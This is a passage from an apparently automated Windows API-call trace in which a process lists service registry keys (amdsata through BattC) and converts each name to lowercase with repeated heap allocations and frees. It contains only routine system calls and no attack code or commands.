lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0228.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0228.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0228.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0228.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0228.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0228.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0228.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0228.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0228.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0228.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0228.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0228.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0228.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0228.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0228.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0228.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0228.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0228.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0228.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0228.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0228.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0228.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0228.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0228.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0228.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bf8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0228.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0228.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0228.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0228.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0228.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0228.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0228.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1970, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0228.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0228.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0228.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0228.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0228.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0228.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0228.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0228.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0228.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0228.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0228.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 